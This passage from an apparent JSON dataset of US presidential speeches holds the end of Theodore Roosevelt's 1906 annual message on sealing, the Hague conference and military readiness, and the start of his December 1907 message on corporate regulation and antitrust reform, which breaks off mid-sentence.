with\nJapan for the same purpose are in progress.The laws for the protection of the seals within the jurisdiction of the\nUnited States need revision and amendment. Only the islands of St. Paul\nand St. George are now, in terms, included in the Government\nreservation, and the other islands are also to be included. The landing\nof aliens as well as citizens upon the islands, without a permit from\nthe Department of Commerce and Labor, for any purpose except in case of\nstress of weather or for water, should be prohibited under adequate\npenalties. The approach of vessels for the excepted purposes should be\nregulated. The authority of the Government agents on the islands should\nbe enlarged, and the chief agent should have the powers of a committing\nmagistrate. The entrance of a vessel into the territorial waters\nsurrounding the islands with intent to take seals should be made a\ncriminal offense and cause of forfeiture. Authority for seizures in\nsuch cases should be given and the presence on any such vessel of seals\nor sealskins, or the paraphernalia for taking them, should be made\nprima facie evidence of such intent. I recommend what legislation is\nneeded to accomplish these ends; and I commend to your attention the\nreport of Mr. Sims, of the Department of Commerce and Labor, on this\nsubject.In case we are compelled to abandon the hope of making arrangements\nwith other governments to put an end to the hideous cruelty now\nincident to pelagic sealing, it will be a question for your serious\nconsideration how far we should continue to protect and maintain the\nseal herd on land with the result of continuing such a practise, and\nwhether it is not better to end the practice by exterminating the herd\nourselves in the most humane way possible.In my last message I advised you that the Emperor of Russia had taken\nthe initiative in bringing about a second peace conference at The\nHague. Under the guidance of Russia the arrangement of the\npreliminaries for such a conference has been progressing during the\npast year. Progress has necessarily been slow, owing to the great\nnumber of countries to be consulted upon every question that has\narisen. It is a matter of satisfaction that all of the American\nRepublics have now, for the first time, been invited to join in the\nproposed conference.The close connection between the subjects to be taken up by the Red\nCross Conference held at Geneva last summer and the subjects which\nnaturally would come before The Hague Conference made it apparent that\nit was desirable to have the work of the Red Cross Conference completed\nand considered by the different powers before the meeting at The Hague.\nThe Red Cross Conference ended its labors on the 6th day of July, and\nthe revised and amended convention, which was signed by the American\ndelegates, will be promptly laid before the Senate.By the special and highly appreciated courtesy of the Governments of\nRussia and the Netherlands, a proposal to call The Hague Conference\ntogether at a time which would conflict with the Conference of the\nAmerican Republics at Rio de Janeiro in August was laid aside. No other\ndate has yet been suggested. A tentative program for the conference has\nbeen proposed by the Government of Russia, and the subjects which it\nenumerates are undergoing careful examination and consideration in\npreparation for the conference.It must ever be kept in mind that war is not merely justifiable, but\nimperative, upon honorable men, upon an honorable nation, where peace\ncan only be obtained by the sacrifice of conscientious conviction or of\nnational welfare. Peace is normally a great good, and normally it\ncoincides with righteousness; but it is righteousness and not peace\nwhich should bind the conscience of a nation as it should bind the\nconscience of an individual; and neither a nation nor an individual can\nsurrender conscience to another's keeping. Neither can a nation, which\nis an entity, and which does not die as individuals die, refrain from\ntaking thought for the interest of the generations that are to come, no\nless than for the interest of the generation of to-day; and no public\nmen have a right, whether from shortsightedness, from selfish\nindifference, or from sentimentality, to sacrifice national interests\nwhich are vital in character. A just war is in the long run far better\nfor a nation's soul than the most prosperous peace obtained by\nacquiescence in wrong or injustice. Moreover, though it is criminal for\na nation not to prepare for war, so that it may escape the dreadful\nconsequences of being defeated in war, yet it must always be remembered\nthat even to be defeated in war may be far better than not to have\nfought at all. As has been well and finely said, a beaten nation is not\nnecessarily a disgraced nation; but the nation or man is disgraced if\nthe obligation to defend right is shirked.We should as a nation do everything in our power for the cause of\nhonorable peace. It is morally as indefensible for a nation to commit a\nwrong upon another nation, strong or weak, as for an individual thus to\nwrong his fellows. We should do all in our power to hasten the day when\nthere shall be peace among the nations--a peace based upon justice and\nnot upon cowardly submission to wrong. We can accomplish a good deal in\nthis direction, but we can not accomplish everything, and the penalty\nof attempting to do too much would almost inevitably be to do worse\nthan nothing; for it must be remembered that fantastic extremists are\nnot in reality leaders of the causes which they espouse, but are\nordinarily those who do most to hamper the real leaders of the cause\nand to damage the cause itself. As yet there is no likelihood of\nestablishing any kind of international power, of whatever sort, which\ncan effectively check wrongdoing, and in these circumstances it would\nbe both a foolish and an evil thing for a great and free nation to\ndeprive itself of the power to protect its own rights and even in\nexceptional cases to stand up for the rights of others. Nothing would\nmore promote iniquity, nothing would further defer the reign upon earth\nof peace and righteousness, than for the free and enlightened peoples\nwhich, though with much stumbling and many shortcomings, nevertheless\nstrive toward justice, deliberately to render themselves powerless\nwhile leaving every despotism and barbarism armed and able to work\ntheir wicked will. The chance for the settlement of disputes\npeacefully, by arbitration, now depends mainly upon the possession by\nthe nations that mean to do right of sufficient armed strength to make\ntheir purpose effective.The United States Navy is the surest guarantor of peace which this\ncountry possesses. It is earnestly to be wisht that we would profit by\nthe teachings of history in this matter. A strong and wise people will\nstudy its own failures no less than its triumphs, for there is wisdom\nto be learned from the study of both, of the mistake as well as of the\nsuccess. For this purpose nothing could be more instructive than a\nrational study of the war of 1812, as it is told, for instance, by\nCaptain Mahan. There was only one way in which that war could have been\navoided. If during the preceding twelve years a navy relatively as\nstrong as that which this country now has had been built up, and an\narmy provided relatively as good as that which the country now has,\nthere never would have been the slightest necessity of fighting the\nwar; and if the necessity had arisen the war would under such\ncircumstances have ended with our speedy and overwhelming triumph. But\nour people during those twelve years refused to make any preparations\nwhatever, regarding either the Army or the Navy. They saved a million\nor two of dollars by so doing; and in mere money paid a hundredfold for\neach million they thus saved during the three years of war which\nfollowed--a war which brought untold suffering upon our people, which\nat one time threatened the gravest national disaster, and which, in\nspite of the necessity of waging it, resulted merely in what was in\neffect a drawn battle, while the balance of defeat and triumph was\nalmost even.I do not ask that we continue to increase our Navy. I ask merely that\nit be maintained at its present strength; and this can be done only if\nwe replace the obsolete and outworn ships by new and good ones, the\nequals of any afloat in any navy. To stop building ships for one year\nmeans that for that year the Navy goes back instead of forward. The old\nbattle ship Texas, for instance, would now be of little service in a\nstand-up fight with a powerful adversary. The old double-turret\nmonitors have outworn their usefulness, while it was a waste of money\nto build the modern single-turret monitors. All these ships should be\nreplaced by others; and this can be done by a well-settled program of\nproviding for the building each year of at least one first-class battle\nship equal in size and speed to any that any nation is at the same time\nbuilding; the armament presumably to consist of as large a number as\npossible of very heavy guns of one caliber, together with smaller guns\nto repel torpedo attack; while there should be heavy armor, turbine\nengines, and in short, every modern device. Of course, from time to\ntime, cruisers, colliers, torpedo-boat destroyers or torpedo boats,\nWill have to be built also. All this, be it remembered, would not\nincrease our Navy, but would merely keep it at its present strength.\nEqually of course, the ships will be absolutely useless if the men\naboard them are not so trained that they can get the best possible\nservice out of the formidable but delicate and complicated mechanisms\nintrusted to their care. The marksmanship of our men has so improved\nduring the last five years that I deem it within bounds to say that the\nNavy is more than twice as efficient, ship for ship, as half a decade\nago. The Navy can only attain proper efficiency if enough officers and\nmen are provided, and if these officers and men are given the chance\n(and required to take advantage of it) to stay continually at sea and\nto exercise the fleets singly and above all in squadron, the exercise\nto be of every kind and to include unceasing practise at the guns,\nconducted under conditions that will test marksmanship in time of war.In both the Army and the Navy there is urgent need that everything\npossible should be done to maintain the highest standard for the\npersonnel, alike as regards the officers and the enlisted men. I do not\nbelieve that in any service there is a finer body of enlisted men and\nof junior officer than we have in both the Army and the Navy, including\nthe Marine Corps. All possible encouragement to the enlisted men should\nbe given, in pay and otherwise, and everything practicable done to\nrender the service attractive to men of the right type. They should be\nheld to the strictest discharge of their duty, and in them a spirit\nshould be encouraged which demands not the mere performance of duty,\nbut the performance of far more than duty, if it conduces to the honor\nand the interest of the American nation; and in return the amplest\nconsideration should be theirs.West Point and Annapolis already turn out excellent officers. We do not\nneed to have these schools made more scholastic. On the contrary we\nshould never lose sight of the fact that the aim of each school is to\nturn out a man who shall be above everything else a fighting man. In\nthe Army in particular it is not necessary that either the cavalry or\ninfantry officer should have special mathematical ability. Probably in\nboth schools the best part of the education is the high standard of\ncharacter and of professional morale which it confers.But in both services there is urgent need for the establishment of a\nprinciple of selection which will eliminate men after a certain age if\nthey can not be promoted from the subordinate ranks, and which will\nbring into the higher ranks fewer men, and these at an earlier age.\nThis principle of selection will be objected to by good men of mediocre\ncapacity, who are fitted to do well while young in the lower positions,\nbut who are not fitted to do well when at an advanced age they come\ninto positions of command and of great responsibility. But the desire\nof these men to be promoted to positions which they are not competent\nto fill should not weigh against the interest of the Navy and the\ncountry. At present our men, especially in the Navy, are kept far too\nlong in the junior grades, and then, at much too advanced an age, are\nput quickly through the senior grades, often not attaining to these\nsenior grades until they are too old to be of real use in them; and if\nthey are of real use, being put through them so quickly that little\nbenefit to the Navy comes from their having been in them at all.The Navy has one great advantage over the Army in the fact that the\nofficers of high rank are actually trained in the continual performance\nof their duties; that is, in the management of the battle ships and\narmored cruisers gathered into fleets. This is not true of the army\nofficers, who rarely have corresponding chances to exercise command\nover troops under service conditions. The conduct of the Spanish war\nshowed the lamentable loss of life, the useless extravagance, and the\ninefficiency certain to result, if during peace the high officials of\nthe War and Navy Departments are praised and rewarded only if they save\nmoney at no matter what cost to the efficiency of the service, and if\nthe higher officers are given no chance whatever to exercise and\npractise command. For years prior to the Spanish war the Secretaries of\nWar were praised chiefly if they practised economy; which economy,\nespecially in connection with the quartermaster, commissary, and\nmedical departments, was directly responsible for most of the\nmismanagement that occurred in the war itself--and parenthetically be\nit observed that the very people who clamored for the misdirected\neconomy in the first place were foremost to denounce the mismanagement,\nloss, and suffering which were primarily due to this same misdirected\neconomy and to the lack of preparation it involved. There should soon\nbe an increase in the number of men for our coast defenses; these men\nshould be of the right type and properly trained; and there should\ntherefore be an increase of pay for certain skilled grades, especially\nin the coast artillery. Money should be appropriated to permit troops\nto be massed in body and exercised in maneuvers, particularly in\nmarching. Such exercise during the summer just past has been of\nincalculable benefit to the Army and should under no circumstances be\ndiscontinued. If on these practise marches and in these maneuvers\nelderly officers prove unable to bear the strain, they should be\nretired at once, for the fact is conclusive as to their unfitness for\nwar; that is, for the only purpose because of which they should be\nallowed to stay in the service. It is a real misfortune to have scores\nof small company or regimental posts scattered throughout the country;\nthe Army should be gathered in a few brigade or division posts; and the\ngenerals should be practised in handling the men in masses. Neglect to\nprovide for all of this means to incur the risk of future disaster and\ndisgrace.The readiness and efficiency of both the Army and Navy in dealing with\nthe recent sudden crisis in Cuba illustrate afresh their value to the\nNation. This readiness and efficiency would have been very much less\nhad it not been for the existence of the General Staff in the Army and\nthe General Board in the Navy; both are essential to the proper\ndevelopment and use of our military forces afloat and ashore. The\ntroops that were sent to Cuba were handled flawlessly. It was the\nswiftest mobilization and dispatch of troops over sea ever accomplished\nby our Government. The expedition landed completely equipped and ready\nfor immediate service, several of its organizations hardly remaining in\nHavana over night before splitting up into detachments and going to\ntheir several posts, It was a fine demonstration of the value and\nefficiency of the General Staff. Similarly, it was owing in large part\nto the General Board that the Navy was able at the outset to meet the\nCuban crisis with such instant efficiency; ship after ship appearing on\nthe shortest notice at any threatened point, while the Marine Corps in\nparticular performed indispensable service. The Army and Navy War\nColleges are of incalculable value to the two services, and they\ncooperate with constantly increasing efficiency and importance.The Congress has most wisely provided for a National Board for the\npromotion of rifle practise. Excellent results have already come from\nthis law, but it does not go far enough. Our Regular Army is so small\nthat in any great war we should have to trust mainly to volunteers; and\nin such event these volunteers should already know how to shoot; for if\na soldier has the fighting edge, and ability to take care of himself in\nthe open, his efficiency on the line of battle is almost directly\nProportionate to excellence in marksmanship. We should establish\nshooting galleries in all the large public and military schools, should\nmaintain national target ranges in different parts of the country, and\nshould in every way encourage the formation of rifle clubs throughout\nall parts of the land. The little Republic of Switzerland offers us an\nexcellent example in all matters connected with building up an\nefficient citizen soldiery.", 
+    "name": "Theodore Roosevelt"
+}
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+{
+    "date": "December 3, 1907", 
+    "speech": "To the Senate and House of Representatives:No nation has greater resources than ours, and I think it can be\ntruthfully said that the citizens of no nation possess greater energy\nand industrial ability. In no nation are the fundamental business\nconditions sounder than in ours at this very moment; and it is foolish,\nwhen such is the case, for people to hoard money instead of keeping it\nin sound banks; for it is such hoarding that is the immediate occasion\nof money stringency. Moreover, as a rule, the business of our people is\nconducted with honesty and probity, and this applies alike to farms and\nfactories, to railroads and banks, to all our legitimate commercial\nenterprises.In any large body of men, however, there are certain to be some who are\ndishonest, and if the conditions are such that these men prosper or\ncommit their misdeeds with impunity, their example is a very evil thing\nfor the community. Where these men are business men of great sagacity\nand of temperament both unscrupulous and reckless, and where the\nconditions are such that they act without supervision or control and at\nfirst without effective check from public opinion, they delude many\ninnocent people into making investments or embarking in kinds of\nbusiness that are really unsound. When the misdeeds of these\nsuccessfully dishonest men are discovered, suffering comes not only\nupon them, but upon the innocent men whom they have misled. It is a\npainful awakening, whenever it occurs; and, naturally, when it does\noccur those who suffer are apt to forget that the longer it was\ndeferred the more painful it would be. In the effort to punish the\nguilty it is both wise and proper to endeavor so far as possible to\nminimize the distress of those who have been misled by the guilty. Yet\nit is not possible to refrain because of such distress from striving to\nput an end to the misdeeds that are the ultimate causes of the\nsuffering, and, as a means to this end, where possible to punish those\nresponsible for them. There may be honest differences of opinion as to\nmany governmental policies; but surely there can be no such differences\nas to the need of unflinching perseverance in the war against\nsuccessful dishonesty.In my Message to the Congress on December 5, 1905, I said:\"If the folly of man mars the general well-being, then those who are\ninnocent of the folly will have to pay part of the penalty incurred by\nthose who are guilty of the folly. A panic brought on by the\nspeculative folly of part of the business community would hurt the\nwhole business community; but such stoppage of welfare, though it might\nbe severe, would not be lasting. In the long run, the one vital factor\nin the permanent prosperity of the country is the high individual\ncharacter of the average American worker, the average American citizen,\nno matter whether his work be mental or manual, whether he be farmer or\nwage-worker, business man or professional man.\"In our industrial and social system the interests of all men are so\nclosely intertwined that in the immense majority of cases a\nstraight-dealing man, who by his efficiency, by his ingenuity and\nindustry, benefits himself, must also benefit others. Normally, the man\nof great productive capacity who becomes rich by guiding the labor of\nmany other men does so by enabling them to produce more than they could\nproduce without his guidance; and both he and they share in the\nbenefit, which comes also to the public at large. The superficial fact\nthat the sharing may be unequal must never blind us to the underlying\nfact that there is this sharing, and that the benefit comes in some\ndegree to each man concerned.. Normally, the wageworker, the man of\nsmall means, and the average consumer, as well as the average producer,\nare all alike helped by making conditions such that the man of\nexceptional business ability receives an exceptional reward for his\nability Something can be done by legislation to help the general\nprosperity; but no such help of a permanently beneficial character can\nbe given to the less able and less fortunate save as the results of a\npolicy which shall inure to the advantage of all industrious and\nefficient people who act decently; and this is only another way of\nsaying that any benefit which comes to the less able and less fortunate\nmust of necessity come even more to the more able and more fortunate.\nIf, therefore, the less fortunate man is moved by envy of his more\nfortunate brother to strike at the conditions under which they have\nboth, though unequally, prospered, the result will assuredly be that\nwhile damage may come to the one struck at, it will visit with an even\nheavier load the one who strikes the blow. Taken as a whole, we must\nall go up or go down together.\"Yet, while not merely admitting, but insisting upon this, it is also\ntrue that where there is no governmental restraint or supervision some\nof the exceptional men use their energies, not in ways that are for the\ncommon good, but in ways which tell against this common good. The\nfortunes amassed through corporate organization are now so large, and\nvest such power in those that wield them, as to make it a matter of\nnecessity to give to the sovereign--that is, to the Government, which\nrepresents the people as a whole--some effective power of supervision\nover their corporate use. In order to insure a healthy social and\nindustrial life, every big corporation should be held responsible by,\nand be accountable to, some sovereign strong enough to control its\nconduct. I am in no sense hostile to corporations. This is an age of\ncombination, and any effort to prevent all combination will be not only\nuseless, but in the end vicious, because of the contempt for law which\nthe failure to enforce law inevitably produces. We should, moreover,\nrecognize in cordial and ample fashion the immense good effected by\ncorporate agencies in a country such as ours, and the wealth of\nintellect, energy, and fidelity devoted to their service, and therefore\nnormally to the service of the public, by their officers and directors.\nThe corporation has come to stay, just as the trade union has come to\nstay. Each can do and has done great good. Each should be favored so\nlong as it does good. But each should be sharply checked where it acts\nagainst law and justice.\"The makers of our National Constitution provided especially that the\nregulation of interstate commerce should come within the sphere of the\nGeneral Government. The arguments in favor of their taking this stand\nwere even then overwhelming. But they are far stronger to-day, in view\nof the enormous development of great business agencies, usually\ncorporate in form. Experience has shown conclusively that it is useless\nto try to get any adequate regulation and supervision of these great\ncorporations by State action. Such regulation and supervision can only\nbe effectively exercised by a sovereign whose jurisdiction is\ncoextensive with the field of work of the corporations--that is, by the\nNational Government. I believe that this regulation and supervision can\nbe obtained by the enactment of law by the Congress. Our steady aim\nshould be by legislation, cautiously and carefully undertaken, but\nresolutely persevered in, to assert the sovereignty of the National\nGovernment by affirmative action.\"This is only in form an innovation. In substance it is merely a\nrestoration; for from the earliest time such regulation of industrial\nactivities has been recognized in the action of the lawmaking bodies;\nand all that I propose is to meet the changed conditions in such manner\nas will prevent the Commonwealth abdicating the power it has always\npossessed, not only in this country, but also in England before and\nsince this country became a separate nation.\"It has been a misfortune that the National laws on this subject have\nhitherto been of a negative or prohibitive rather than an affirmative\nkind, and still more that they have in part sought to prohibit what\ncould not be effectively prohibited, and have in part in their\nprohibitions confounded what should be allowed and what should not be\nallowed. It is generally useless to try to prohibit all restraint on\ncompetition, whether this restraint be reasonable or unreasonable; and\nwhere it is not useless it is generally hurtful. The successful\nprosecution of one device to evade the law immediately develops another\ndevice to accomplish the same purpose. What is needed is not sweeping\nprohibition of every arrangement, good or bad, which may tend to\nrestrict competition, but such adequate supervision and regulation as\nwill prevent any restriction of competition from being to the detriment\nof the public, as well as such supervision and regulation as will\nprevent other abuses in no way connected with restriction of\ncompetition.\"I have called your attention in these quotations to what I have already\nsaid because I am satisfied that it is the duty of the National\nGovernment to embody in action the principles thus expressed.No small part of the trouble that we have comes from carrying to an\nextreme the national virtue of self-reliance, of independence in\ninitiative and action. It is wise to conserve this virtue and to\nprovide for its fullest exercise, compatible with seeing that liberty\ndoes not become a liberty to wrong others. Unfortunately, this is the\nkind of liberty that the lack of all effective regulation inevitably\nbreeds. The founders of the Constitution provided that the National\nGovernment should have complete and sole control of interstate\ncommerce. There was then practically no interstate business save such\nas was conducted by water, and this the National Government at once\nproceeded to regulate in thoroughgoing and effective fashion.\nConditions have now so wholly changed that the interstate commerce by\nwater is insignificant compared with the amount that goes by land, and\nalmost all big business concerns are now engaged in interstate\ncommerce. As a result, it can be but partially and imperfectly\ncontrolled or regulated by the action of any one of the several States;\nsuch action inevitably tending to be either too drastic or else too\nlax, and in either case ineffective for purposes of justice. Only the\nNational Government can in thoroughgoing fashion exercise the needed\ncontrol. This does not mean that there should be any extension of\nFederal authority, for such authority already exists under the\nConstitution in amplest and most far-reaching form; but it does mean\nthat there should be an extension of Federal activity. This is not\nadvocating centralization. It is merely looking facts in the face, and\nrealizing that centralization in business has already come and can not\nbe avoided or undone, and that the public at large can only protect\nitself from certain evil effects of this business centralization by\nproviding better methods for the exercise of control through the\nauthority already centralized in the National Government by the\nConstitution itself. There must be no ball in the healthy constructive\ncourse of action which this Nation has elected to pursue, and has\nsteadily pursued, during the last six years, as shown both in the\nlegislation of the Congress and the administration of the law by the\nDepartment of Justice. The most vital need is in connection with the\nrailroads. As to these, in my judgment there should now be either a\nnational incorporation act or a law licensing railway companies to\nengage in interstate commerce upon certain conditions. The law should\nbe so framed as to give to the Interstate Commerce Commission power to\npass upon the future issue of securities, while ample means should be\nprovided to enable the Commission, whenever in its judgment it is\nnecessary, to make a physical valuation of any railroad. As I stated in\nmy Message to the Congress a year ago, railroads should be given power\nto enter into agreements, subject to these agreements being made public\nin minute detail and to the consent of the Interstate Commerce\nCommission being first obtained. Until the National Government assumes\nproper control of interstate commerce, in the exercise of the authority\nit already possesses, it will be impossible either to give to or to get\nfrom the railroads full justice. The railroads and all other great\ncorporations will do well to recognize that this control must come; the\nonly question is as to what governmental body can most wisely exercise\nit. The courts will determine the limits within which the Federal\nauthority can exercise it, and there will still remain ample work\nwithin each State for the railway commission of that State; and the\nNational Interstate Commerce Commission will work in harmony with the\nseveral State commissions, each within its own province, to achieve the\ndesired end.Moreover, in my judgment there should be additional legislation looking\nto the proper control of the great business concerns engaged in\ninterstate business, this control to be exercised for their own benefit\nand prosperity no less than for the protection of investors and of the\ngeneral public. As I have repeatedly said in Messages to the Congress\nand elsewhere, experience has definitely shown not merely the unwisdom\nbut the futility of endeavoring to put a stop to all business\ncombinations. Modern industrial conditions are such that combination is\nnot only necessary but inevitable. It is so in the world of business\njust as it is so in the world of labor, and it is as idle to desire to\nput an end to all corporations, to all big combinations of capital, as\nto desire to put an end to combinations of labor. Corporation and labor\nunion alike have come to stay. Each if properly managed is a source of\ngood and not evil. Whenever in either there is evil, it should be\npromptly held to account; but it should receive hearty encouragement so\nlong as it is properly managed. It is profoundly immoral to put or keep\non the statute books a law, nominally in the interest of public\nmorality that really puts a premium upon public immorality, by\nundertaking to forbid honest men from doing what must be done under\nmodern business conditions, so that the law itself provides that its\nown infraction must be the condition precedent upon business success.\nTo aim at the accomplishment of too much usually means the\naccomplishment of too little, and often the doing of positive damage.\nIn my Message to the Congress a year ago, in speaking of the antitrust\nlaws, I said:\"The actual working of our laws has shown that the effort to prohibit\nall combination, good or bad, is noxious where it is not ineffective.\nCombination of capital, like combination of labor, is a necessary\nelement in our present industrial system. It is not possible completely\nto prevent it; and if it were possible, such complete prevention would\ndo damage to the body politic. What we need is not vainly to try to\nprevent all combination, but to secure such rigorous and adequate\ncontrol and supervision of the combinations as to prevent their\ninjuring the public, or existing in such forms as inevitably to\nthreaten injury. It is unfortunate that our present laws should forbid\nall combinations instead of sharply discriminating between those\ncombinations which do evil. Often railroads would like to combine for\nthe purpose of preventing a big shipper from maintaining improper\nadvantages at the expense of small shippers and of the general public.\nSuch a combination, instead of being forbidden by law, should be\nfavored. It is a public evil to have on the statute books a law\nincapable of full enforcement, because both judges and juries realize\nthat its full enforcement would destroy the business of the country;\nfor the result is to make decent men violators of the law against their\nwill, and to put a premium on the behavior of the willful wrongdoers.\nSuch a result in turn tends to throw the decent man and the willful\nwrongdoer into close association, and in the end to drag down the\nformer to the latter's level; for the man who becomes a lawbreaker in\none way unhappily tends to lose all respect for law and to be willing\nto break it in many ways. No more scathing condemnation could be\nvisited upon a law than is contained in the words of the Interstate\nCommerce Commission when, in commenting upon the fact that the numerous\njoint traffic associations do technically violate the law, they say:\nThe decision of the United States Supreme Court in the Trans-Missouri\ncase and the Joint Traffic Association case has produced no practical\neffect upon the railway operations of the country. Such associations,\nin fact, exist now as they did before these decisions, and with the\nsame general effect. In justice to all parties, we ought probably to\nadd that it is difficult to see how our interstate railways could be\noperated with due regard to the interest of the shipper and the railway\nwithout concerted action of the kind afforded through these\nassociations.\"This means that the law as construed by the Supreme Court is such that\nthe business of the country can not be conducted without breaking it.\"As I have elsewhere said:\"All this is substantially what I have said over and over again. Surely\nit ought not to be necessary to say that it in no shape or way\nrepresents any hostility to corporations as such. On the contrary, it\nmeans a frank recognition of the fact that combinations of capital,\nlike combinations of labor, are a natural result of modern conditions\nand of our National development. As far as in my ability lies my\nendeavor is and will be to prevent abuse of power by either and to\nfavor both so long as they do well. The aim of the National Government\nis quite as much to favor and protect honest corporations, honest\nbusiness men of wealth, as to bring to justice those individuals and\ncorporations representing dishonest methods. Most certainly there will\nbe no relaxation by the Government authorities in the effort to get at\nany great railroad wrecker--any man who by clever swindling devices\nrobs investors, oppresses wage-workers, and does injustice to the\ngeneral public. But any such move as this is in the interest of honest\nrailway operators, of honest corporations, and of those who, when they\ninvest their small savings in stocks and bonds, wish to be assured that\nthese will represent money honestly expended for legitimate business\npurposes. To confer upon the National Government the power for which I\nask would be a check upon overcapitalization and upon the clever\ngamblers who benefit by overcapitalization. But it alone would mean an\nincrease in the value, an increase in the safety of the stocks and\nbonds of law-abiding, honestly managed railroads, and would render it\nfar easier to market their securities. I believe in proper publicity.\nThere has been complaint of some of the investigations recently carried\non, but those who complain should put the blame where it belongs--upon\nthe misdeeds which are done in darkness and not upon the investigations\nwhich brought them to light. The Administration is responsible for\nturning on the light, but it is not responsible for what the light\nshowed. I ask for full power to be given the Federal Government,\nbecause no single State can by legislation effectually cope with these\npowerful corporations engaged in interstate commerce, and, while doing\nthem full justice, exact from them in return full justice to others.\nThe conditions of railroad activity, the conditions of our immense\ninterstate commerce, are such as to make the Central Government alone\ncompetent to exercise full supervision and control.\"The grave abuses in individual cases of railroad management in the\npast represent wrongs not merely to the general public, but, above all,\nwrongs to fair-dealing and honest corporations and men of wealth,\nbecause they excite a popular anger and distrust which from the very\nnature of the case tends to include in the sweep of its resentment good\nand bad alike. From the standpoint of the public I can not too\nearnestly say that as soon as the natural and proper resentment aroused\nby these abuses becomes indiscriminate and unthinking, it also becomes\nnot merely unwise and unfair, but calculated to defeat the very ends\nwhich those feeling it have in view. There has been plenty of dishonest\nwork by corporations in the past. There will not be the slightest\nlet-up in the effort to hunt down and punish every dishonest man. But\nthe bulk of our business is honestly done. In the natural indignation\nthe people feel over the dishonesty, it is essential that they should\nnot lose their heads and get drawn into an indiscriminate raid upon all\ncorporations, all people of wealth, whether they do well or ill. Out of\nany such wild movement good will not come, can not come, and never has\ncome. On the contrary, the surest way to invite reaction is to follow\nthe lead of either demagogue or visionary in a sweeping assault upon\nproperty values and upon public confidence, which would work\nincalculable damage in the business world and would produce such\ndistrust of the agitators that in the revulsion the distrust would\nextend to honest men who, in sincere and same fashion, are trying to\nremedy the evils.\"The antitrust law should not be repealed; but it should be made both\nmore efficient and more in harmony with actual conditions. It should be\nso amended as to forbid only the kind of combination which does harm to\nthe general public, such amendment to be accompanied by, or to be an\nincident of, a grant of supervisory power to the Government over these\nbig concerns engaged in interstate business. This should be accompanied\nby provision for the compulsory publication of accounts and the\nsubjection of books and papers to the inspection of the Government\nofficials. A beginning has already been made for such supervision by\nthe establishment of the Bureau of Corporations.The antitrust law should not prohibit combinations that do no injustice\nto the public, still less those the existence of which is on the whole\nof benefit to the public. But even if this feature of the law were\nabolished, there would remain as an equally objectionable feature the\ndifficulty and delay now incident to its enforcement. The Government\nmust now submit to irksome and repeated delay before obtaining a final\ndecision of the courts upon proceedings instituted, and even a\nfavorable decree may mean an empty victory. Moreover, to attempt to\ncontrol these corporations by lawsuits means to impose upon both the\nDepartment of Justice and the courts an impossible burden; it is not\nfeasible to carry on more than a limited number of such suits. Such a\nlaw to be really effective must of course be administered by an\nexecutive body, and not merely by means of lawsuits. The design should\nbe to prevent the abuses incident to the creation of unhealthy and\nimproper combinations, instead of waiting until they are in existence\nand then attempting to destroy them by civil or criminal proceedings.A combination should not be tolerated if it abuse the power acquired by\ncombination to the public detriment. No corporation or association of\nany kind should be permitted to engage in foreign or interstate\ncommerce that is formed for the purpose of, or whose operations create,\na monopoly or general control of the production, sale, or distribution\nof any one or more of the prime necessities of life or articles of\ngeneral use and necessity. Such combinations are against public policy;\nthey violate the common law; the doors of the courts are closed to\nthose who are parties to them, and I believe the Congress can close the\nchannels of interstate commerce against them for its protection. The\nlaw should make its prohibitions and permissions as clear and definite\nas possible, leaving the least possible room for arbitrary action, or\nallegation of such action, on the part of the Executive, or of\ndivergent interpretations by the courts. Among the points to be aimed\nat should be the prohibition of unhealthy competition, such as by\nrendering service at an actual loss for the purpose of crushing out\ncompetition, the prevention of inflation of capital, and the\nprohibition of a corporation's making exclusive trade with itself a\ncondition of having any trade with itself. Reasonable agreements\nbetween, or combinations of, corporations should be permitted, provided\nthey are submitted to and approved by some appropriate Government body.The Congress has the power to charter corporations to engage in\ninterstate and foreign commerce, and a general law can be enacted under\nthe provisions of which existing corporations could take out Federal\ncharters and new Federal corporations could be created. An essential\nprovision of such a law should be a method of predetermining by some\nFederal board or commission whether the applicant for a Federal charter\nwas an association or combination within the restrictions of the\nFederal law. Provision should also be made for complete publicity in\nall matters affecting the public and complete protection to the\ninvesting public and the shareholders in the matter of issuing\ncorporate securities. If an incorporation law is not deemed advisable,\na license act for big interstate corporations might be enacted; or a\ncombination of the two might be tried. The supervision established\nmight be analogous to that now exercised over national banks. At least,\nthe antitrust act should be supplemented by specific prohibitions of\nthe methods which experience has shown have been of most service in\nenabling monopolistic combinations to crush out competition. The real\nowners of a corporation should be compelled to do business in their own\nname. The right to hold stock in other corporations should hereafter be\ndenied to interstate corporations, unless on approval by the Government\nofficials, and a prerequisite to such approval should be the listing\nwith the Government of all owners and stockholders, both by the\ncorporation owning such stock and by the corporation in which such\nstock is owned.To confer upon the National Government, in connection with the\namendment I advocate in the antitrust law, power of supervision over\nbig business concerns engaged in interstate commerce, would benefit\nthem as it has benefited the national banks. In the recent business\ncrisis it is noteworthy that the institutions which failed were\ninstitutions which were not under the supervision and control of the\nNational Government. Those which were under National control stood the\ntest.National control of the kind above advocated would be to the benefit of\nevery well-managed railway. From the standpoint of the public there is\nneed for additional tracks, additional terminals, and improvements in\nthe actual handling of the railroads, and all this as rapidly as\npossible. Ample, safe, and speedy transportation facilities are even\nmore necessary than cheap transportation. Therefore, there is need for\nthe investment of money which will provide for all these things while\nat the same time securing as far as is possible better wages and\nshorter hours for their employees. Therefore, while there must be just\nand reasonable regulation of rates, we should be the first to protest\nagainst any arbitrary and unthinking movement to cut them down without\nthe fullest and most careful consideration of all interests concerned\nand of the actual needs of the situation. Only a special body of men\nacting for the National Government under authority conferred upon it by\nthe Congress is competent to pass judgment on such a matter.Those who fear, from any reason, the extension of Federal activity will\ndo well to study the history not only of the national banking act but\nof the pure-food law, and notably the meat inspection law recently\nenacted. The pure-food law was opposed so violently that its passage\nwas delayed for a decade; yet it has worked unmixed and immediate good.\nThe meat inspection law was even more violently assailed; and the same\nmen who now denounce the attitude of the National Government in seeking\nto oversee and control the workings of interstate common carriers and\nbusiness concerns, then asserted that we were \"discrediting and ruining\na great American industry.\" Two years have not elapsed, and already it\nhas become evident that the great benefit the law confers upon the\npublic is accompanied by an equal benefit to the reputable packing\nestablishments. The latter are better off under the law than they were\nwithout it. The benefit to interstate common carriers and business\nconcerns from the legislation I advocate would be equally marked.Incidentally, in the passage of the pure-food law the action of the\nvarious State food and dairy commissioners showed in striking fashion\nhow much good for the whole people results from the hearty cooperation\nof the Federal and State officials in securing a given reform. It is\nprimarily to the action of these State commissioners that we owe the\nenactment of this law; for they aroused the people, first to demand the\nenactment and enforcement of State laws on the subject, and then the\nenactment of the Federal law, without which the State laws were largely\nineffective. There must be the closest 